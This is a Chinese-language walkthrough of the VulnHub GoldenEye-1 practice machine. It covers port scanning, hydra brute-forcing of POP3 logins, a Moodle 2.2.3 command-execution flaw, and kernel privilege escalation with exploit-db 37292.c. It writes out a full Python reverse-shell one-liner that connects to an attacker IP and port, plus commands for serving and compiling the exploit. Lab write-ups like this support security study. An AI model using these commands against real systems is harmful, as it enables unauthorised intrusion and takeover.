VulnHub-GoldenEye-1 靶场渗透测试
时间:2021.2.14
靶场信息:
地址:https://www.vulnhub.com/entry/goldeneye-1,240/
发布日期:2018年5月4日
目标:捕获秘密的GoldenEye代码-flag.txt
前言
第一次使用VulbHub平台,在下载靶场时遇到下载速度慢的问题,后来用了FreeDownloadManager进行下载,速度还算可以。下载完成之后是ova格式,听说用VituralBox打开方便些,我电脑上就装了vmware,所以就用vmware了,打开过程没什么问题,有一处会弹窗,点击重试就好了,虚拟机的网络连接我配置的是NAT模式并且使用了DHCP服务,默认好像是仅主机模式,这样也方便我的kali进行渗透。
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测的结果可知,靶机的IP为192.168.137.128
2、扫描开放的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.137.128
得到开放的端口信息:
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
55006/tcp open ssl/unknown
55007/tcp open pop3 Dovecot pop3d
3、网站信息收集
由于开放了80端口,浏览器探测一下靶机是否有相关的应用程序
根据提示,进入/sev-home目录中
进入之后弹窗要我们输入用户名和密码,初步猜测这个弹窗是由js引起的,打开控制台看看,发现terminal.js
根据js中的代码,我们可以得出几个可能有用的信息
InvincibleHack3r
转码得到InvincibleHack3r
用户名:Boris、Natalya
密码:InvincibleHack3r
猜测上面的用户名和密码可能可以登录到/sev-home,后面试了几次发现boris和InvincibleHack3r可以登进去
根据提示中提到的pop3服务配置在非常高的非默认端口上运行 ,记得之前探测到主机开放了55007端口并且探测结果也表明它是一个pop3服务,并且打开控制台下发现两个用户名Boris、Natalya,可能是暗示我们登录到这两个用户的邮箱中去
我们由于不知道用户的密码,所以这里试一试能不能爆破出来
hydra 192.168.137.128 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt
果然爆破出两个账号的密码
用户:boris 密码:secret1!
用户:natalya 密码:bird
接着使用nc连接pop3服务,登录这两个账号查看邮箱里面的邮件信息
大致看了下,没什么有用的信息,登录另外一个账号看看
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
添加之后,浏览器中打开http://severnaya-station.com/gnocertdir/
在右边发现要登录,试着用刚刚在邮件中发现的账号和密码进行登录,登进去后, 在"My profile"-->"Messages"-->选择"Recent conversations"(最近的对话)看到一个名为doak 的用户
同理,试着用hydra爆破该用户的密码
hydra 192.168.137.128 -s 55007 pop3 -l "doak" -P /usr/share/wordlists/fasttrack.txt
用户名:doak
密码:goat
登录该用户的邮箱
得到用户名和密码
username: dr_doak
password: 4England!
用该账号登录http://severnaya-station.com/gnocertdir/login/index.php
发现一个 s3cret.txt文件 ,并且该cms用的是 Moodle的2.2.3版本 ,用编辑器打开该文件
表明管理员凭据隐藏在图片中,在浏览器中打开图像
图片应该隐藏了关键信息,将该图片下载下来
wget http://severnaya-station.com/dir007key/for-007.jpg
使用strings查看图片
或者exif
将eFdpbnRlcjE5OTV4IQ==进行base64解码得到xWinter1995x!
用户名:admin
密码:xWinter1995x!
管理员用户登录成功
二、漏洞探测
由于之前得知该网站的cms是Moodle的2.2.3版本,通过百度搜索可以知道该版本有个远程命令执行的漏洞
Moodle允许经过身份验证的用户通过web界面定义拼写检查设置。用户可以更新拼写检查机制以指向安装了二进制文件的系统。通过将拼写检查器的路径更新为任意命令,攻击者可以运行拼写检查请求时web应用程序上下文中的任意命令。
此模块还允许攻击者利用另一个权限提升漏洞。使用引用的XSS vuln,一个未经授权的身份验证用户可以窃取一个管理员sesskey并使用它将权限升级为管理员权限,从而允许模块弹出一个shell作为以前未经授权的身份验证用户。
该模块已针对Moodle版本2.5.2和2.2.3进行了测试。
具体漏洞EXP可查看
在利用的EXP中在POST的时候需要将拼写检查google spell换成PSpellSHell,原因是目标主机上不存在GCC编译,只有CC编译
在"Settings"-->"Site administration"-->"Plugins"-->"Text editors"-->"TinyMCE HTML editor" 修改PSpellSHel
在"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell" 进行命令执行
三、漏洞利用
使用python进行反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.150",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在本地终端里面监听8888端口,通过在blog中新建文章,随便输入字符,点击"Toggle Spellchecker"之后就会反弹到shell
使用ptyhon获得tty,不然有些命令无法执行
python -c 'import pty; pty.spawn("/bin/bash")'
查看当前用户信息、系统信息和id
四、提权
根据前面获取的系统版本- Linux ubuntu 3.13.0,在kali中查找相关漏洞
先将exp拷贝到home目录下
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home
然后使用python创建一个服务,通过服务上传37292.c到靶机中,
python -m SimpleHTTPServer 8000
然后看一下靶机中哪个目录的权限最高
发现tmp目录权限为777,就将exp下载到该目录下
由于EXP里面是使用gcc编译的 ,所以这里在靶机里面进行探测,发现没装gcc,但装了cc,先将EXP下载过来,然后进行修改
然后重新下载,运行
cc 37292.c -o exp
./exp
查看flag
md5解密得到006
总结
虽然花费了很多时间,但是学到了很多,期间遇到过许多问题,边解决边进步,还是要多渗透,扩展自己的思路。